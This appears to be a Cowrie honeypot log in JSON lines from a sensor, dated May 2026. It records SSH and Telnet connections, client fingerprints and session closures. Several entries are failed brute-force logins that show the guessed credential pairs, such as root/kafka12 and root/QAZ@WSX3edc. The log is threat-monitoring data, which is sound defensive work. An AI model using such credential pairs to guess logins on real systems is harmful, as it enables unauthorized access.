{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:55.668521Z","src_ip":"57.128.222.14","session":"261ce14b207f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:55.781898Z","src_ip":"57.128.222.14","session":"261ce14b207f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:55.832638Z","src_ip":"43.224.126.107","session":"35534a2e4ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kafka12","message":"login attempt [root/kafka12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:56.239317Z","src_ip":"57.128.222.14","session":"261ce14b207f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:57.371645Z","src_ip":"57.128.222.14","session":"261ce14b207f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":22504,"dst_ip":"159.203.135.109","dst_port":22,"session":"2edc0e760619","protocol":"ssh","message":"New connection: 94.156.152.18:22504 (159.203.135.109:22) [session: 2edc0e760619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:58.353787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:58.358610Z","src_ip":"94.156.152.18","session":"2edc0e760619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:58.489021Z","src_ip":"94.156.152.18","session":"2edc0e760619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU16GBAMD","message":"login attempt [root/XYZZ4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:58.892063Z","src_ip":"94.156.152.18","session":"2edc0e760619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:00.024076Z","src_ip":"94.156.152.18","session":"2edc0e760619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":39448,"dst_ip":"159.203.135.109","dst_port":23,"session":"036fe0d73264","protocol":"telnet","message":"New connection: 64.227.82.147:39448 (159.203.135.109:23) [session: 036fe0d73264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:00.767357Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76e35d779d5","protocol":"telnet","message":"New connection: 38.60.198.128:47664 (159.203.135.109:23) [session: b76e35d779d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:06.656102Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"a701d29ce4dc","protocol":"ssh","message":"New connection: 198.98.56.227:58114 (10.17.0.5:22) [session: a701d29ce4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:07.782568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:07.790115Z","src_ip":"198.98.56.227","session":"a701d29ce4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:08.006183Z","src_ip":"198.98.56.227","session":"a701d29ce4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecoserver","password":"ecoserver","message":"login attempt [ecoserver/ecoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:08.783036Z","src_ip":"198.98.56.227","session":"a701d29ce4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:09.797844Z","src_ip":"198.98.56.227","session":"a701d29ce4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.78153681755066,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:09.858947Z","src_ip":"45.81.23.16","session":"a1acc8e217d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52230,"dst_ip":"159.203.135.109","dst_port":23,"session":"f781c483708b","protocol":"telnet","message":"New connection: 38.60.198.128:52230 (159.203.135.109:23) [session: f781c483708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:10.301363Z"}
{"eventid":"cowrie.session.closed","duration":37.30790376663208,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:17.085401Z","src_ip":"38.60.198.128","session":"49f0f5e3f734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52206,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c86c3663e7","protocol":"telnet","message":"New connection: 38.54.119.93:52206 (10.17.0.5:23) [session: 29c86c3663e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:17.151263Z"}
{"eventid":"cowrie.session.closed","duration":38.36376905441284,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:17.878093Z","src_ip":"38.60.198.128","session":"84aea0c7df7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02534341812134,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:18.997618Z","src_ip":"38.60.198.128","session":"d8cf2b7d5250","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36592,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a667d47c60","protocol":"telnet","message":"New connection: 38.60.198.128:36592 (159.203.135.109:23) [session: 94a667d47c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:21.133193Z"}
{"eventid":"cowrie.session.closed","duration":40.669984102249146,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:21.224243Z","src_ip":"192.211.53.160","session":"993a350ec0b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.1739583015441895,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:23.325114Z","src_ip":"38.54.119.93","session":"29c86c3663e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":41702,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dc95ef8835c","protocol":"ssh","message":"New connection: 78.128.112.74:41702 (159.203.135.109:22) [session: 2dc95ef8835c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:24.600211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:24.926702Z","src_ip":"78.128.112.74","session":"2dc95ef8835c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:24.930950Z","src_ip":"78.128.112.74","session":"2dc95ef8835c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"@123!","message":"login attempt [user/@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:27.157288Z","src_ip":"78.128.112.74","session":"2dc95ef8835c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43278,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c72114fc74","protocol":"telnet","message":"New connection: 38.60.198.128:43278 (159.203.135.109:23) [session: a1c72114fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:27.371968Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:28.280199Z","src_ip":"78.128.112.74","session":"2dc95ef8835c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50744,"dst_ip":"159.203.135.109","dst_port":23,"session":"a40f5b779c16","protocol":"telnet","message":"New connection: 38.60.198.128:50744 (159.203.135.109:23) [session: a40f5b779c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:32.012085Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33434,"dst_ip":"159.203.135.109","dst_port":23,"session":"30767e771403","protocol":"telnet","message":"New connection: 38.60.198.128:33434 (159.203.135.109:23) [session: 30767e771403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:40.489603Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35536,"dst_ip":"159.203.135.109","dst_port":23,"session":"a225a766883f","protocol":"telnet","message":"New connection: 38.60.198.128:35536 (159.203.135.109:23) [session: a225a766883f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:42.009660Z"}
{"eventid":"cowrie.session.closed","duration":32.82405114173889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:43.125310Z","src_ip":"38.60.198.128","session":"f781c483708b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":59508,"dst_ip":"159.203.135.109","dst_port":22,"session":"0325a8461a23","protocol":"ssh","message":"New connection: 57.128.222.14:59508 (159.203.135.109:22) [session: 0325a8461a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:44.535122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:44.539475Z","src_ip":"57.128.222.14","session":"0325a8461a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.82981514930725,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:44.597047Z","src_ip":"64.227.82.147","session":"036fe0d73264","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:44.643198Z","src_ip":"57.128.222.14","session":"0325a8461a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZ@WSX3edc","message":"login attempt [root/QAZ@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:45.090953Z","src_ip":"57.128.222.14","session":"0325a8461a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:46.198337Z","src_ip":"57.128.222.14","session":"0325a8461a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43426,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e0d90a6937","protocol":"telnet","message":"New connection: 38.60.198.128:43426 (159.203.135.109:23) [session: 73e0d90a6937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:48.105714Z"}
{"eventid":"cowrie.session.closed","duration":41.53924894332886,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:48.195222Z","src_ip":"38.60.198.128","session":"b76e35d779d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43874,"dst_ip":"159.203.135.109","dst_port":23,"session":"e123253079eb","protocol":"telnet","message":"New connection: 38.60.198.128:43874 (159.203.135.109:23) [session: e123253079eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:48.454296Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53862,"dst_ip":"159.203.135.109","dst_port":23,"session":"128fe9840007","protocol":"telnet","message":"New connection: 38.60.198.128:53862 (159.203.135.109:23) [session: 128fe9840007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:57.747992Z"}
{"eventid":"cowrie.session.closed","duration":36.8978853225708,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:31:58.030958Z","src_ip":"38.60.198.128","session":"94a667d47c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35482,"dst_ip":"159.203.135.109","dst_port":23,"session":"d900d37d84f0","protocol":"telnet","message":"New connection: 38.60.198.128:35482 (159.203.135.109:23) [session: d900d37d84f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:05.477410Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":55746,"dst_ip":"159.203.135.109","dst_port":23,"session":"7307c5c52ce8","protocol":"telnet","message":"New connection: 64.227.82.147:55746 (159.203.135.109:23) [session: 7307c5c52ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:05.577493Z"}
{"eventid":"cowrie.session.closed","duration":38.611154317855835,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:05.982923Z","src_ip":"38.60.198.128","session":"a1c72114fc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45464,"dst_ip":"159.203.135.109","dst_port":23,"session":"9603d0382755","protocol":"telnet","message":"New connection: 38.60.198.128:45464 (159.203.135.109:23) [session: 9603d0382755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:11.977361Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":46212,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd659c4e4eb","protocol":"ssh","message":"New connection: 198.98.56.227:46212 (10.17.0.5:22) [session: 3fd659c4e4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:12.636764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:12.644786Z","src_ip":"198.98.56.227","session":"3fd659c4e4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:12.946441Z","src_ip":"198.98.56.227","session":"3fd659c4e4eb","protocol":"ssh"}
